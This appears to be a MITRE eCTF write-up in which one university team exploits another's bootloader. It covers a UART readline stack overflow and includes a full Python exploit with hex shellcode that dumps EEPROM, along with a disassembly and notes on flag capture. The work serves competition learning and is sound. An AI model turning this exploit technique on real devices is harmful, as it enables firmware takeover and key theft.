# MITRE eCTF: The Ohio State University Attacking University at Buffalo ## Arbitrary code execution The bug is in `handle_update()` in `bootloader.c`: ```c= // Receive release message rel_msg_size = uart_readline(HOST_UART, rel_msg) + 1; // Include terminator ``` `uart_readline()` will continue to read data until a null byte or newline is encountered, allowing us to write unlimited data to the stack. Two other issues that aid in exploitation are: - Memory protections are disabled - The firmware release message is not authenticated nor encrypted To gain arbitrary code execution, we can: - Send shellcode in the release message, which gets written to flash - Overwrite the return address on the stack and jump to our shellcode in flash > We initially tried jumping to the shellcode in SRAM, but since SRAM adresses are of the form `0x2000????`, which contains a null byte, we were not able to do so. Out script is shown below: ```python= import subprocess import pwn with open("firmware/fw_v0.prot", "rb") as f: fw = f.read() shellcode = bytes.fromhex("684681ea010182ea020202f2ff3202f2014247f694630ff2060e0ef1030e9f4644f244424fea02724cf2010121f0ff0142ea01010846694682ea020202f2ff3202f2014247f2e4239f46") payload = shellcode payload += pwn.cyclic((1024 + 24) - len(payload)) shellcode_addr = 0x2B408 # Address of the release message in flash payload += pwn.p32(shellcode_addr + 1) orig_release_message = b"Debug firmware version 0" fw = fw.replace(orig_release_message, payload) with open("firmware/fw_v0_exploit.prot", "wb") as f: f.write(fw) # Modify the `fw-update` command to read 2048 bytes of data afterwards, which # is the device's EEPROM cmd = """python3 tools/run_saffire.py fw-update \ --sysname saffire-phys \ --fw-root firmware/ \ --uart-sock 1339 \ --protected-fw-file fw_v0_exploit.prot """ subprocess.run(cmd, shell=True) ``` ## The shellcode disassembled and explained The goal of our shellcode is to read EEPROM data and send it back to us over uart. ``` 0x0000000000000000: 68 46 mov r0, sp 0x0000000000000002: 81 EA 01 01 eor.w r1, r1, r1 0x0000000000000006: 82 EA 02 02 eor.w r2, r2, r2 0x000000000000000a: 02 F2 FF 32 addw r2, r2, #0x3ff 0x000000000000000e: 02 F2 01 42 addw r2, r2, #0x401 0x0000000000000012: 47 F6 94 63 movw r3, #0x7e94 0x0000000000000016: 0F F2 06 0E addw lr, pc, #6 0x000000000000001a: 0E F1 03 0E add.w lr, lr, #3 0x000000000000001e: 9F 46 mov pc, r3 0x0000000000000020: 44 F2 44 42 movw r2, #0x4444 0x0000000000000024: 4F EA 02 72 lsl.w r2, r2, #0x1c 0x0000000000000028: 4C F2 01 01 movw r1, #0xc001 0x000000000000002c: 21 F0 FF 01 bic r1, r1, #0xff 0x0000000000000030: 42 EA 01 01 orr.w r1, r2, r1 0x0000000000000034: 08 46 mov r0, r1 0x0000000000000036: 69 46 mov r1, sp 0x0000000000000038: 82 EA 02 02 eor.w r2, r2, r2 0x000000000000003c: 02 F2 FF 32 addw r2, r2, #0x3ff 0x0000000000000040: 02 F2 01 42 addw r2, r2, #0x401 0x0000000000000044: 47 F2 E4 23 movw r3, #0x72e4 0x0000000000000048: 9F 46 mov pc, r3 ``` This shellcode makes a call to `EEPromRead` (at 0x7e94), followed by a call to `uart_write` (at 0x72e4). It was difficult to remove all of the null bytes from the shellcode. For example, we could not use regular indirect branch wth `lr` instructions (`blr x3`) since they contain a null byte. Instead, we manually set `lr` and then do the jump using `mov pc, r3`. We also have to obfuscate constants that would otherwise have a null byte in them (e.g. 0x800). The sequence is equivalent to: ``` EEPromRead(<stack address>, 0, 0x800) uart_write(0x4000c000, <stack address>, 0x800) ``` ## Getting the flags After dumping EEPROM from the device, getting the flags was relatively straightforward. - IP Extraction: Use the device's symmetric key to decrypt the firmware. - Flight Extraction: Use the device's symmetric key to decrypt the configuration. - Firmware Rollback: We reversed the decrypted firmware and found that it XOR's the fake flag with a string in EEPROM, giving us the real flag. - Data Extraction: This flag was dumped from EEPROM. - Flight Abort: We changed one of the airpoint names in the decrypted `cfg0.bin`, protected it, and loaded it onto the device. This caused the flight to abort. - Aircraft Crash: We took the firmware we created for the second reverse engineering, protected it, and loaded it on to the device. This caused the aircraft to crash.